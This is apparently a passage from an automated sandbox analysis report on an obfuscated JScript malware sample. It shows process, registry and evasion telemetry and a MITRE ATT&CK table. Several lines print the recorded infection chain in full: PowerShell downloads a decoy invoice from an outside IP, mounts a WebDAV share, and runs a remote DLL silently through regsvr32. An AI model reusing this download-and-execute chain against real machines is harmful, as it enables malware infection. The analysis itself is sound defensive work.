Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6344.js.csv");ITextStream.WriteLine(" entry:2495 f:gxilygcv");ITextStream.WriteLine(" exec:2 f:gxilygcv");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22fbzasqf%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20fopekmcq%3Dthis%5Bfqykrskcu%2Bisehc%2Bxkxlyn%2Bylulqjo%2Bunhtppg%2Bddcbbkfey%2Bwmpejk%2Bmzsfo%5D(this%5Brrhvh%2Bksugfdmlf%2Bogfmxg%2Bxkx");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4623			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5203			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2496	Thread sleep count: 4623 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2496	Thread sleep count: 5203 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2304	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1516	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1720	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7232	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1710935974.000002724C2A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000006.00000002.1710935974.000002724C2FA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2953594389.00000255A1A29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2955485228.00000255A7053000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
